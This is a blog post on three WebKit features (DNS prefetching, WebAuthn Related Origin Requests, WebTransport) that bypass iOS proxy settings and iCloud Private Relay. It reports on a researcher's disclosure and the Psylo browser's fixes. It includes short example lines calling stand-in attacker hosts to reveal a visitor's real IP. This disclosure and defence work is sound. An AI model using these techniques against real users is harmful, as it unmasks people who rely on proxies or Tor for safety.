Three Ways WebKit Leaks Your Real IP Through Proxies — Even With iCloud Private Relay

The way I see it — if you're routing your browser traffic through a proxy, that proxy should be the only thing a web server ever sees. Your real IP address stays hidden, your DNS queries look like they came from the proxy's location, and the entire point of the proxy is to keep your actual network identity off the wire. That's what proxy browsers on iOS promise, and it's what Apple's iCloud Private Relay is supposed to deliver for Safari.

So when I read Mysk's post yesterday detailing three separate WebKit features that bypass proxy configurations — including iCloud Private Relay — I wasn't shocked so much as disappointed. These are not obscure edge cases. They're mainstream browser optimisations that silently punch holes in the privacy layer, and they've been shipping for months to years.

Mysk's findings, published August 4, 2026, are backed by a live proof-of-concept at leaks.psylo.app and have been fixed in Psylo 1.3.1, the privacy browser they develop. But the underlying issues live in WebKit, and they affect every iOS browser that relies on WKWebsiteDataStore.proxyConfigurations for proxying — including all Tor browsers for iOS and Onion Browser. iCloud Private Relay is also vulnerable to all three, because the leaks happen outside WebKit's normal page-loading path.

Here's what these leaks mean in practice, why they matter, and what you can do about them.

How iOS Proxy Browsers Are Supposed to Work

Since iOS 17 and macOS 14, Apple gave WebKit-based browsers an API called WKWebsiteDataStore.proxyConfigurations. It lets an app like Psylo or an iOS Tor browser tell WebKit: "from now on, send all web traffic through this proxy server." Every HTTP request, every WebSocket, every DNS resolution that a webpage triggers should traverse the proxy. The remote server sees the proxy's IP, not the device's.

That API is the backbone of privacy browsing on iOS. Without it, you can't build a proxy browser at all, because Apple's App Store policy requires every iOS browser to use WebKit. There's no Firefox with its own engine; there's no Chromium fork. You get WebKit, and you get a handful of knobs to tweak its behaviour. One of those knobs is the proxy configuration, and it's supposed to be airtight.

It turns out it isn't.

Mysk found three features that bypass the proxy entirely, each in a different way. They effectively let a malicious website resolve a DNS name or make a direct TCP/QUIC connection from your real device, completely ignoring the proxy settings. The same features also escape iCloud Private Relay's two-hop proxy. VPNs are immune because they tunnel everything at the system level, but for application-level proxies? These leaks are game over for the anonymity they promise.

Leak 1: DNS Prefetching (iOS 26.0+)

DNS prefetching is a performance trick: a website can embed a <link rel="dns-prefetch" href="//unique-id.example.com"> tag in the HTML, and the browser will resolve that hostname in the background before the user clicks a link. When the user finally navigates there, the DNS lookup is already done, shaving off a few milliseconds.

WebKit has supported this tag on macOS since Safari 5, but it ignored it on iOS until iOS 26.0 (September 2025). That's when Apple enabled it while simultaneously removing an older, implicit speculative DNS resolver. That resolver had already been rewritten to keep hostnames out of system logs during private browsing, but the new explicit prefetch mechanism? It doesn't honour the proxy settings.

The result: when a page includes a <link rel="dns-prefetch"> tag, WebKit resolves the hostname through the device's normal DNS configuration — the DNS server your ISP or local network provides — not through the proxy. A website can embed a unique per-visitor hostname in that tag (e.g., d1a2b3c4.tracker.example.com), then watch the DNS query hit its authoritative DNS server. That query arrives from the visitor's real network, not from the proxy. No proxy IP, no privacy.

Mysk confirmed this was the exact leak reported by a Psylo user who noticed DNS queries leaking only on certain websites. The reason it was intermittent: only pages with <link rel="dns-prefetch"> triggered the leak. Most sites don't use it, but any site that wants to can unmask your real DNS exit point.

iCloud Private Relay doesn't stop it either. Private Relay normally proxies Safari's DNS queries through its first hop, but these prefetch lookups skip that path entirely. They hit the authoritative DNS server from the device's real IP.

To test this, just open a page containing:

<link rel="dns-prefetch" href="//your-unique-id.attacker.com">

If your proxy browser is leaking DNS, you'll see the query in the attacker's server logs. Psylo 1.3.1 now blocks dns-prefetch hints entirely, killing the vector.

Leak 2: WebAuthn Related Origin Requests (Since iOS 18.0)

WebAuthn is the standard behind passkeys. Normally a passkey is bound to a single domain (called the RP ID, or relying party ID). But Related Origin Requests let a passkey work across multiple domains that belong to the same organization — say, login.example.com and auth.example.com.

When a website requests a credential whose RP ID doesn't match its origin, the browser must first validate that the RP ID authorizes the current origin. It does this by fetching https://<rpId>/.well-known/webauthn. That JSON file lists which origins can use the passkey.

Here's where it gets ugly: WebKit doesn't make this fetch itself. It hands the entire WebAuthn ceremony over to the operating system's credential service. The OS does the fetch, directly, from the device's network stack. It has no idea the host app configured a proxy — it never sees WKWebsiteDataStore.proxyConfigurations. So the HTTP request goes out from the device's real IP, straight to the RP ID's server.

The scary part: this happens with zero user interaction. Using mediation: "conditional", a page can trigger that fetch without showing any UI. No passkey prompt, no fingerprint tap, nothing. Just an API call, and your real IP address lands on a third-party server.

This feature shipped on iOS 18.0 / Safari 18.0 in September 2024 (after sitting inert in iOS 17.4). It's been live for nearly two years. Any site can include a sneaky WebAuthn request targeting a domain they control and harvest real IPs from proxy users.

Private Relay doesn't intervene here either. The fetch is done by the OS credential service, bypassing Private Relay entirely.

Leak 3: WebTransport (iOS 26.4+)

WebTransport is the newest addition to the web transport layer. It's a low-latency alternative to WebSocket that runs over HTTP/3 and QUIC. It supports multiple concurrent streams and datagram delivery, and it's great for real-time use cases like gaming or live video.

But when you call new WebTransport("https://attacker.example.com") in JavaScript, WebKit builds the QUIC connection directly. It doesn't use the proxy configuration. WebKit's internal network parameters never pass the proxy info to the QUIC stack, so the connection goes straight from your device to the server. The server sees your real IP address.

Mysk's analysis shows that even iCloud Private Relay doesn't catch this. WebKit launches the transport outside the trafficked flows that Private Relay proxies. A WebTransport server learns your real IP regardless.

This one is particularly insidious because it's invisible — no DNS prefetch tag, no authentication request, just a new WebTransport() call hidden in some JavaScript. There's no visual indicator that a direct connection is being made.

WebTransport only became enabled on iOS with 26.4 (March 2026), so it's relatively fresh. There's one exception: Onion Browser's "Silver" security level, which applies Lockdown Mode to WebKit, disables WebTransport completely. That's a happy side-effect of Apple's extreme hardening mode.

Why iCloud Private Relay Is Also Vulnerable

All three leaks share a common theme: they happen outside WebKit's standard page-loading pipeline. DNS prefetching hits a separate resolver; WebAuthn requests are handled by the OS credential service; WebTransport opens a raw QUIC connection. iCloud Private Relay is designed to proxy normal web traffic — the HTTP and DNS flows that Safari generates when loading pages. It was never meant to cover these side channels, and Apple's architecture doesn't extend its coverage that far.

This is a design flaw. Private Relay isn't a VPN. It's a selective proxy that only touches Safari's traffic, and only certain types of Safari's traffic. It leaves a surprising number of gaps. If you're a journalist using Private Relay to evade surveillance, these leaks could blow your cover.

Psylo's Fix: Aggressive and Necessary

Mysk's own browser, Psylo, has patched all three holes in version 1.3.1. Their approach is blunt but effective:

• DNS prefetching hints are blocked.
• WebTransport is disabled by default.
• WebAuthn is disabled by default.

Users can re-enable WebTransport and WebAuthn on a per-silo basis if a site genuinely needs them. That's a reasonable trade-off: privacy by default, with explicit opt-in.

I like this model. It puts the burden on the user to understand the risks, but it's better than shipping a leaky browser. Apple should take notes. Instead of exposing proxyConfigurations and assuming all traffic follows it, WebKit needs a architecture where every network call — DNS resolution, HTTP, WebTransport, internal fetches — respects the proxy settings, period. Or at least provides hooks for browsers to block these leaks without having to scrap useful web features.

What About VPNs? The Escape Clause

It's worth repeating: VPNs are not affected by these leaks. A VPN tunnels the device's entire network stack, so even a rogue DNS prefetch or WebTransport connection still goes through the tunnel. Application-level proxies, like those used by Tor browsers and iCloud Private Relay, have no such guarantee. They rely on the application (WebKit) to route all traffic through the proxy, and WebKit has proven it can't be trusted to do that comprehensively.

This is why on Android, legitimate Tor browsers ship with their own network stacks and full control, while on iOS they're pinned to WebKit's leaky plumbing. The App Store's WebKit mandate doesn't just limit browser engines — it limits the security models those browsers can enforce.

Where Do We Go From Here?

These leaks underline a fundamental tension: The more features WebKit adds, the more attack surface it creates for bypassing proxy configurations. Apple markets iCloud Private Relay as a privacy shield, but it's a sieve if WebKit's own feature set doesn't route traffic through it.

Mysk reported the issues to the Tor Project and Onion Browser developers. I'd love to see Apple address these three leaks at the platform level — not by gutting the features, but by teaching each subsystem about the proxy configuration. DNS prefetching should use the proxy's DNS path. WebAuthn fetches should go through the browser's network stack instead of the OS directly. WebTransport should inherit WebKit's proxy configuration.

Until that happens, proxy browser developers will be forced to play whack-a-mole, disabling new web APIs to keep their users safe. Psylo's approach works for now, but it's a arms race that shouldn't exist. The real fix is architectural, and it needs to come from Cupertino.

In the meantime, if you're relying on an iOS proxy browser for anonymity, go test your setup at leaks.psylo.app. The results may surprise you.

And maybe keep that VPN handy.